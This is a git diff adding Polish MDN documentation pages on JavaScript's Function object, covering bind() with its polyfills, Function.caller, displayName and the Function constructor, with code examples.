+<h3 id="With_setTimeout">With <code>setTimeout()</code></h3>
+
+<p>By default within <a href="/en-US/docs/Web/API/Window/setTimeout" title="REDIRECT WindowTimers.setTimeout"><code>window.setTimeout()</code></a>, the <code>this</code> keyword will be set to the <a href="/en-US/docs/Web/API/Window" title="The Window interface represents a window containing a DOM document; the document property points to the DOM document loaded in that window."><code>window</code></a> (or <code>global</code>) object. When working with class methods that require <code>this</code> to refer to class instances, you may explicitly bind <code>this</code> to the callback function, in order to maintain the instance.</p>
+
+<pre class="brush: js notranslate">function LateBloomer() {
+ this.petalCount = Math.floor(Math.random() * 12) + 1;
+}
+
+// Declare bloom after a delay of 1 second
+LateBloomer.prototype.bloom = function() {
+ window.setTimeout(this.declare.bind(this), 1000);
+};
+
+LateBloomer.prototype.declare = function() {
+ console.log(`I am a beautiful flower with ${this.petalCount} petals!`);
+};
+
+const flower = new LateBloomer();
+flower.bloom();
+// after 1 second, calls 'flower.declare()'
+</pre>
+
+<h3 id="Funkcje_powiązane_używane_jako_kostruktory">Funkcje powiązane używane jako kostruktory</h3>
+
+<div class="warning">
+<p>Ostrzeżenie: ta sekcja pokazuje możliwości JavaScript i dokumentuje niektóre przypadki krawędzi metody bind ().</p>
+
+<p>Metody przedstawione poniżej nie są najlepszym sposobem na robienie rzeczy i prawdopodobnie nie powinny być stosowane w żadnym środowisku produkcyjnym.</p>
+</div>
+
+<p>Funkcje powiązane są automatycznie odpowiednie do użycia z operatorem {{jsxref („Operators / new”, „new”)}} do tworzenia nowych instancji utworzonych przez funkcję docelową. Gdy do utworzenia wartości używana jest funkcja powiązana, pod warunkiem, że jest to ignorowane.</p>
+
+<p>Jednak pod warunkiem, że argumenty są nadal dołączane do wywołania konstruktora:</p>
+
+<pre class="brush: js notranslate">function Point(x, y) {
+ this.x = x;
+ this.y = y;
+}
+
+Point.prototype.toString = function() {
+ return `${this.x},${this.y}`;
+};
+
+const p = new Point(1, 2);
+p.toString();
+// '1,2'
+
+
+// not supported in the polyfill below,
+
+// works fine with native bind:
+
+const YAxisPoint = Point.bind(null, 0/*x*/);
+
+
+const emptyObj = {};
+const YAxisPoint = Point.bind(emptyObj, 0/*x*/);
+
+const axisPoint = new YAxisPoint(5);
+axisPoint.toString(); // '0,5'
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new YAxisPoint(17, 42) instanceof Point; // true
+</pre>
+
+<p>Zauważ, że nie musisz robić nic specjalnego, aby utworzyć powiązaną funkcję do użycia z {{jsxref („Operators / new”, „new”)}}.</p>
+
+<p>Następstwem jest to, że nie musisz robić nic specjalnego, aby utworzyć funkcję powiązaną, która będzie wywoływana w sposób jawny, nawet jeśli wolisz, aby funkcja powiązana była wywoływana tylko za pomocą {{jsxref („Operators / new”, „new”)}} .</p>
+
+<pre class="brush: js notranslate">// Example can be run directly in your JavaScript console
+// ...continued from above
+
+// Can still be called as a normal function
+// (although usually this is undesired)
+YAxisPoint(13);
+
+`${emptyObj.x},${emptyObj.y}`;
+// &gt; '0,13'
+</pre>
+
+<p>If you wish to support the use of a bound function only using {{jsxref("Operators/new", "new")}}, or only by calling it, the target function must enforce that restriction.</p>
+
+<h3 id="Tworzenie_skrótów">Tworzenie skrótów</h3>
+
+<p>bind () jest również pomocny w przypadkach, w których chcesz utworzyć skrót do funkcji, która wymaga podania tej wartości.</p>
+
+<p>Weźmy na przykład {{jsxref ("Array.prototype.slice ()")}}, którego chcesz użyć do konwersji obiektu podobnego do tablicy na prawdziwą tablicę. Możesz utworzyć taki skrót:</p>
+
+<pre class="brush: js notranslate">const slice = Array.prototype.slice;
+
+// ...
+
+slice.apply(arguments);
+</pre>
+
+<p>Za pomocą bind () można to uprościć.</p>
+
+<p>W poniższym fragmencie kodu slice () jest funkcją powiązaną z funkcją {{jsxref („Function.prototype.apply ()”, „Apply ()”)}} z {{jsxref („Function.prototype”) }}, z tą wartością ustawioną na {{jsxref („Array.prototype.slice ()”, „slice ()”)}} funkcji {{jsxref („Array.prototype”)}}. Oznacza to, że dodatkowe wywołania apply () można wyeliminować:</p>
+
+<pre class="brush: js notranslate">// same as "slice" in the previous example
+const unboundSlice = Array.prototype.slice;
+const slice = Function.prototype.apply.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+</pre>
+
+<p>Polyfill<br>
+ Ponieważ starsze przeglądarki są na ogół również wolniejszymi przeglądarkami, jest to o wiele bardziej krytyczne niż większość ludzi rozpoznaje tworzenie polifillów wydajności, aby przeglądanie w przestarzałych przeglądarkach było nieco mniej straszne.</p>
+
+<p>W związku z tym poniżej przedstawiono dwie opcje dla funkcji wypełniania funkcji Function.prototype.bind ():</p>
+
+<p>Pierwszy jest znacznie mniejszy i bardziej wydajny, ale nie działa, gdy używasz nowego operatora.<br>
+ Drugi jest większy i mniej wydajny, ale pozwala na pewne użycie nowego operatora na powiązanych funkcjach.<br>
+ Zasadniczo w większości kodów bardzo rzadko widuje się nowe używane w funkcji powiązanej, więc najlepiej jest wybrać pierwszą opcję.</p>
+
+<pre class="brush: js notranslate">// Does not work with `new funcA.bind(thisArg, args)`
+if (!Function.prototype.bind) (function(){
+ var slice = Array.prototype.slice;
+ Function.prototype.bind = function() {
+ var thatFunc = this, thatArg = arguments[0];
+ var args = slice.call(arguments, 1);
+ if (typeof thatFunc !== 'function') {
+ // closest thing possible to the ECMAScript 5
+ // internal IsCallable function
+ throw new TypeError('Function.prototype.bind - ' +
+ 'what is trying to be bound is not callable');
+ }
+ return function(){
+ var funcArgs = args.concat(slice.call(arguments))
+ return thatFunc.apply(thatArg, funcArgs);
+ };
+ };
+})();</pre>
+
+<p>Możesz częściowo obejść ten problem, wstawiając następujący kod na początku skryptów, umożliwiając korzystanie z większości funkcji bind () w implementacjach, które nie obsługują go natywnie.</p>
+
+<pre class="brush: js notranslate">// Yes, it does work with `new funcA.bind(thisArg, args)`
+if (!Function.prototype.bind) (function(){
+ var ArrayPrototypeSlice = Array.prototype.slice;
+ Function.prototype.bind = function(otherThis) {
+ if (typeof this !== 'function') {
+ // closest thing possible to the ECMAScript 5
+ // internal IsCallable function
+ throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
+ }
+
+ var baseArgs= ArrayPrototypeSlice .call(arguments, 1),
+ baseArgsLength = baseArgs.length,
+ fToBind = this,
+ fNOP = function() {},
+ fBound = function() {
+ baseArgs.length = baseArgsLength; // reset to default base arguments
+ baseArgs.push.apply(baseArgs, arguments);
+ return fToBind.apply(
+ fNOP.prototype.isPrototypeOf(this) ? this : otherThis, baseArgs
+ );
+ };
+
+ if (this.prototype) {
+ // Function.prototype doesn't have a prototype property
+ fNOP.prototype = this.prototype;
+ }
+ fBound.prototype = new fNOP();
+
+ return fBound;
+ };
+})();
+</pre>
+
+<p>Niektóre z wielu różnic (mogą być też inne, ponieważ ta lista nie próbuje być wyczerpująca) między tym algorytmem a określonym algorytmem to:</p>
+
+<p>Częściowa implementacja opiera się na {{jsxref ("Array.prototype.slice ()")}}, {{jsxref ("Array.prototype.concat ()")}}, {{jsxref ("Function.prototype.call ( ) ")}} i {{jsxref (" Function.prototype.apply () ")}}, wbudowane metody mające swoje oryginalne wartości.<br>
+ Częściowa implementacja tworzy funkcje, które nie mają niezmiennej „pigułki trucizny” {{jsxref („Function.caller”, „caller”)}} i właściwości argumentów, które wyrzucają {{jsxref („Global_Objects / TypeError”, „TypeError”) }} przy pobieraniu, ustawianiu lub usuwaniu. (Można to dodać, jeśli implementacja obsługuje {{jsxref („Object.defineProperty”)}} lub częściowo zaimplementowana [bez zachowania polegającego na rzucaniu przy usuwaniu], jeśli implementacja obsługuje {{jsxref („Object .__ zdefiniujGetter__”, „ __defineGetter__ ”)}} i {{jsxref („ Object .__ definiSetter__ ”,„ __defineSetter__ ”)}}).<br>
+ Częściowa implementacja tworzy funkcje, które mają właściwość prototypu. (Właściwie powiązane funkcje nie mają żadnych.)<br>
+ Częściowa implementacja tworzy powiązane funkcje, których właściwość {{jsxref („Function.length”, „length”)}}} nie zgadza się z właściwością nakazaną przez ECMA-262: tworzy funkcje o długości 0. Pełna implementacja - w zależności od długość funkcji docelowej i liczba wcześniej określonych argumentów - może zwrócić niezerową długość.<br>
+ Częściowa implementacja tworzy powiązane funkcje, których właściwość {{jsxref („Function.name”, „name”)}} nie jest pochodną oryginalnej nazwy funkcji. Według ECMA-262 nazwa zwróconej funkcji powiązanej powinna być „związana” + nazwa funkcji docelowej.<br>
+ Jeśli zdecydujesz się użyć tej częściowej implementacji, nie możesz polegać na przypadkach, w których zachowanie odbiega od ECMA-262, wydanie 5! Na szczęście te odchylenia od specyfikacji rzadko (jeśli w ogóle) pojawiają się w większości sytuacji kodowania. Jeśli nie rozumiesz żadnego z odchyleń od powyższej specyfikacji, w tym konkretnym przypadku można bezpiecznie nie martwić się o te niezgodne szczegóły odchylenia.</p>
+
+<p>Jeśli jest to absolutnie konieczne, a wydajność nie stanowi problemu, znacznie wolniejsze (ale bardziej zgodne ze specyfikacją rozwiązanie) można znaleźć na stronie https://github.com/Raynos/function-bind.</p>
+
+<h2 id="Dane_techniczne">Dane techniczne</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h5 id="Kompatybilność_z_przeglądarkami_Tabela_zgodności_na_tej_stronie_jest_generowana_z_danych_strukturalnych._Jeśli_chcesz_przyczynić_się_do_danych_sprawdź_httpsgithub.commdnbrowser-compat-data_i_wyślij_nam_żądanie_ściągnięcia._Compat_javascript.builtins.Function.bind">Kompatybilność z przeglądarkami<br>
+ Tabela zgodności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź https://github.com/mdn/browser-compat-data i wyślij nam żądanie ściągnięcia.<br>
+ {{Compat ("javascript.builtins.Function.bind")}}</h5>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/caller/index.html b/files/pl/web/javascript/referencje/obiekty/function/caller/index.html
new file mode 100644
index 0000000000..1c86b7f92f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/caller/index.html
@@ -0,0 +1,69 @@
+---
+title: Function.caller
+slug: Web/JavaScript/Referencje/Obiekty/Function/caller
+tags:
+ - Function
+ - JavaScript
+ - Non-standard
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Określa funkcję, która powołuje się na aktualnie wykonywaną funkcje.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli funkcja <code>f</code> została wywołana przez kod najwyższego poziomu, własność <code>f.caller</code> ma wartość {{jsxref("null")}}, w przeciwnym przypadku jest to funkcja, która wywołała <code>f</code>.</p>
+
+<p>Ta własność zastąpiła wycofaną własność {{jsxref("arguments.caller")}}.</p>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>Note that in case of recursion, you can't reconstruct the call stack using this property. Consider:</p>
+
+<pre class="brush: js">function f(n) { g(n-1); }
+function g(n) { if(n&gt;0) { f(n); } else { stop(); } }
+f(2);
+</pre>
+
+<p>At the moment <code>stop()</code> is called the call stack will be:</p>
+
+<pre class="eval">f(2) -&gt; g(1) -&gt; f(1) -&gt; g(0) -&gt; stop()
+</pre>
+
+<p>The following is true:</p>
+
+<pre class="eval">stop.caller === g &amp;&amp; f.caller === g &amp;&amp; g.caller === f
+</pre>
+
+<p>so if you tried to get the stack trace in the <code>stop()</code> function like this:</p>
+
+<pre class="brush: js">var f = stop;
+var stack = "Stack trace:";
+while (f) {
+ stack += "\n" + f.name;
+ f = f.caller;
+}
+</pre>
+
+<p>the loop would never stop.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Sprawdzenie_warto.C5.9Bci_w.C5.82asno.C5.9Bci_funkcji_caller" name="Przyk.C5.82ad:_Sprawdzenie_warto.C5.9Bci_w.C5.82asno.C5.9Bci_funkcji_caller">Przykład: Sprawdzenie wartości własności funkcji <code>caller</code></h3>
+
+<p>Następujący kod sprawdza wartość własności funkcji <code>caller</code>.</p>
+
+<pre class="brush: js">function myFunc() {
+ if (myFunc.caller == null) {
+ return ("The function was called from the top!");
+ } else {
+ return ("This function's caller was " + myFunc.caller);
+ }
+}
+</pre>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html b/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html
new file mode 100644
index 0000000000..72c8c41257
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html
@@ -0,0 +1,119 @@
+---
+title: Function.displayName
+slug: Web/JavaScript/Referencje/Obiekty/Function/displayName
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Właściwość <code><strong><em>function</em>.displayName</strong></code> zwraca wyświetlaną nazwę funkcji.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Gdy jest zdefiniowana, wlaściwość <code>displayName</code> zwraca wyświetlaną nazwę funkcji:</p>
+
+<pre class="brush: js">function doSomething() {}
+
+console.log(doSomething.displayName); // "undefined"
+
+var popup = function(content) { console.log(content); };
+
+popup.displayName = 'Pokaż Popup';
+
+console.log(popup.displayName); // "Pokaż Popup"
+</pre>
+
+<p>Możesz zdefiniować funkcję z wyświetlaną nazwą {{jsxref("Functions", "function expression", "", 1)}}:</p>
+
+<pre class="brush: js">var object = {
+ someMethod: function() {}
+};
+
+object.someMethod.displayName = 'jakaśMetoda';
+
+console.log(object.someMethod.displayName); // logs "jakaśMetoda"
+
+try { someMethod } catch(e) { console.log(e); }
+// ReferenceError: jakaśMetoda is not defined
+</pre>
+
+<p>Możesz dynamicznie zmieniać <code>displayName </code>z funkcji:</p>
+
+<pre class="brush: js">var object = {
+ // anonymous
+ someMethod: function(value) {
+ this.displayName = 'jakaśMetoda (' + value + ')';
+ }
+};
+
+console.log(object.someMethod.displayName); // "undefined"
+
+object.someMethod('123')
+console.log(object.someMethod.displayName); // "jakaśMetoda (123)"
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Zazwyczaj preferowane jest przez konsole i profilery podczas {{jsxref("Function.name", "func.name")}} aby wyświetlić nazwę funkcji.</p>
+
+<p>Umieszczony w konsoli powinien wyświetlić coś w rodzaju "<code>function Moja Funkcja()</code>":</p>
+
+<pre class="brush: js">var a = function() {};
+a.displayName = '<code>Moja Funkcja</code>';
+
+a; // "function <code>Moja Funkcja</code>()"</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<p>Nie jest częścią żadnej specyfikacji.</p>
+
+<h2 id="Zgodność_z_przeglądarką">Zgodność z przeglądarką</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop(13)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/index.html b/files/pl/web/javascript/referencje/obiekty/function/index.html
new file mode 100644
index 0000000000..2db4d33411
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/index.html
@@ -0,0 +1,237 @@
+---
+title: Function
+slug: Web/JavaScript/Referencje/Obiekty/Function
+tags:
+ - Function
+ - JavaScript
+ - Konstruktor
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef}}</div>
+
+<p><strong>Konstruktor</strong> <strong><code>Function</code> </strong>tworzy nowy obiekt Function(tworzy funkcję poprzez konstruktor). W JavaScripcie właściwie każda funkcja jest obiektem <code>Function</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametry</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>A string containing the JavaScript statements comprising the function definition.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Opis</h2>
+
+<p><code>Function</code> objects created with the <code>Function</code> constructor are parsed when the function is created. This is less efficient than declaring a function with a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> and calling it within your code, because such functions are parsed with the rest of the code.</p>
+
+<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Functions created with the <code>Function</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>Function</code> constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for a function expression.</p>
+</div>
+
+<p>Wywołanie konstruktora Function jako funkcję (bez użycia operatora 'new') ma taki sam efekt jak wywołanie konstruktora(z operatorem).</p>
+
+<h2 id="Właściwości_i_metody_Function">Właściwości i metody <code>Function</code></h2>
+
+<p>The global <code>Function</code> object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.</p>
+
+<h2 id="Function_prototype_object"><code>Function</code> prototype object</h2>
+
+<h3 id="Właściwości">Właściwości</h3>
+
+<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}</div>
+
+<h3 id="Methods" name="Methods">Metody</h3>
+
+<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}</div>
+
+<h2 id="Function_instances" name="Function_instances"><code>Function</code> instances</h2>
+
+<p><code>Function</code> instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all <code>Function</code> instances.</p>
+
+<h2 id="Examples" name="Examples">Przykłady</h2>
+
+<h3 id="Example.3A_Specifying_arguments_with_the_Function_constructor" name="Example.3A_Specifying_arguments_with_the_Function_constructor">Przykład: Specifying arguments with the <code>Function</code> constructor</h3>
+
+<p>Poniższy przykład tworzy obiekt Function(tworzy funkcję poprzez konstruktor), który przyjmuje dwa argumenty.</p>
+
+<pre class="brush: js">// Przykład może być uruchomiony bezpośrednio w konsoli JavaScript
+
+// Tworzy funkcję, która przyjmuje dwa argumenty i zwraca ich sumę
+var adder = new Function('a', 'b', 'return a + b');
+
+// Wywołanie funkcji
+adder(2, 6);
+// &gt; 8
+</pre>
+
+<p>Argumenty "<code>a</code>" i "<code>b</code>" są formanie nazwami argumentrów, które są użyte w ciele funkcji, "<code>return a + b</code>".</p>
+
+<h3 id="Example:_A_recursive_shortcut_to_massively_modify_the_DOM" name="Example:_A_recursive_shortcut_to_massively_modify_the_DOM">Przykład: A recursive shortcut to massively modify the DOM</h3>
+
+<p>Creating functions with the <code>Function</code> constructor is one of the ways to dynamically create an indeterminate number of new objects with some executable code into the global scope from a function. The following example (a recursive shortcut to massively modify the DOM) is impossible without the invocation of the <code>Function</code> constructor for each new query if you want to avoid closures.</p>
+
+<pre class="brush: html language-html"><code class="language-html">&lt;!doctype html&gt;
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">http-equiv</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Content-Type<span class="punctuation token">"</span></span> <span class="attr-name token">content</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/html; charset<span class="punctuation token">=</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>MDN Example - a recursive shortcut to massively modify the DOM<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="keyword token">var</span> domQuery <span class="operator token">=</span> <span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> aDOMFunc <span class="operator token">=</span> <span class="punctuation token">[</span>
+ Element<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>removeAttribute<span class="punctuation token">,</span>
+ Element<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>setAttribute<span class="punctuation token">,</span>
+ CSSStyleDeclaration<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>removeProperty<span class="punctuation token">,</span>
+ CSSStyleDeclaration<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>setProperty
+ <span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+ <span class="keyword token">function</span> <span class="function token">setSomething<span class="punctuation token">(</span></span>bStyle<span class="punctuation token">,</span> sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> bSet <span class="operator token">=</span> <span class="function token">Boolean<span class="punctuation token">(</span></span>sVal<span class="punctuation token">)</span><span class="punctuation token">,</span> fAction <span class="operator token">=</span> aDOMFunc<span class="punctuation token">[</span>bSet <span class="operator token">|</span> bStyle <span class="operator token">&lt;</span><span class="operator token">&lt;</span> <span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">,</span>
+ aArgs <span class="operator token">=</span> Array<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>slice<span class="punctuation token">.</span><span class="function token">call<span class="punctuation token">(</span></span>arguments<span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">,</span> bSet <span class="operator token">?</span> <span class="number token">3</span> <span class="punctuation token">:</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+ aNodeList <span class="operator token">=</span> bStyle <span class="operator token">?</span> <span class="keyword token">this</span><span class="punctuation token">.</span>cssNodes <span class="punctuation token">:</span> <span class="keyword token">this</span><span class="punctuation token">.</span>nodes<span class="punctuation token">;</span>
+
+ <span class="keyword token">if</span> <span class="punctuation token">(</span>bSet <span class="operator token">&amp;&amp;</span> bStyle<span class="punctuation token">)</span> <span class="punctuation token">{</span> aArgs<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span><span class="string token">''</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span>
+ <span class="keyword token">for</span> <span class="punctuation token">(</span>
+ <span class="keyword token">var</span> nItem <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">,</span> nLen <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>nodes<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+ nItem <span class="operator token">&lt;</span> nLen<span class="punctuation token">;</span>
+ fAction<span class="punctuation token">.</span><span class="function token">apply<span class="punctuation token">(</span></span>aNodeList<span class="punctuation token">[</span>nItem<span class="operator token">++</span><span class="punctuation token">]</span><span class="punctuation token">,</span> aArgs<span class="punctuation token">)</span>
+ <span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">this</span><span class="punctuation token">.</span>follow <span class="operator token">=</span> setSomething<span class="punctuation token">.</span>caller<span class="punctuation token">;</span>
+ <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ <span class="keyword token">function</span> <span class="function token">setStyles<span class="punctuation token">(</span></span>sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> setSomething<span class="punctuation token">.</span><span class="function token">call<span class="punctuation token">(</span></span><span class="keyword token">this</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">,</span> sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span>
+ <span class="keyword token">function</span> <span class="function token">setAttribs<span class="punctuation token">(</span></span>sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> setSomething<span class="punctuation token">.</span><span class="function token">call<span class="punctuation token">(</span></span><span class="keyword token">this</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span>
+ <span class="keyword token">function</span> <span class="function token">getSelectors<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">.</span>selectors<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+ <span class="keyword token">function</span> <span class="function token">getNodes<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">.</span>nodes<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+ <span class="keyword token">return</span> <span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>sSelectors<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> oQuery <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Function</span><span class="punctuation token">(</span><span class="string token">'return arguments.callee.follow.apply(arguments.callee, arguments);'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ oQuery<span class="punctuation token">.</span>selectors <span class="operator token">=</span> sSelectors<span class="punctuation token">;</span>
+ oQuery<span class="punctuation token">.</span>nodes <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll<span class="punctuation token">(</span></span>sSelectors<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ oQuery<span class="punctuation token">.</span>cssNodes <span class="operator token">=</span> Array<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>map<span class="punctuation token">.</span><span class="function token">call<span class="punctuation token">(</span></span>oQuery<span class="punctuation token">.</span>nodes<span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>oInlineCSS<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> oInlineCSS<span class="punctuation token">.</span>style<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ oQuery<span class="punctuation token">.</span>attributes <span class="operator token">=</span> setAttribs<span class="punctuation token">;</span>
+ oQuery<span class="punctuation token">.</span>inlineStyle <span class="operator token">=</span> setStyles<span class="punctuation token">;</span>
+ oQuery<span class="punctuation token">.</span>follow <span class="operator token">=</span> getNodes<span class="punctuation token">;</span>
+ oQuery<span class="punctuation token">.</span>toString <span class="operator token">=</span> getSelectors<span class="punctuation token">;</span>
+ oQuery<span class="punctuation token">.</span>valueOf <span class="operator token">=</span> getNodes<span class="punctuation token">;</span>
+ <span class="keyword token">return</span> oQuery<span class="punctuation token">;</span>
+ <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
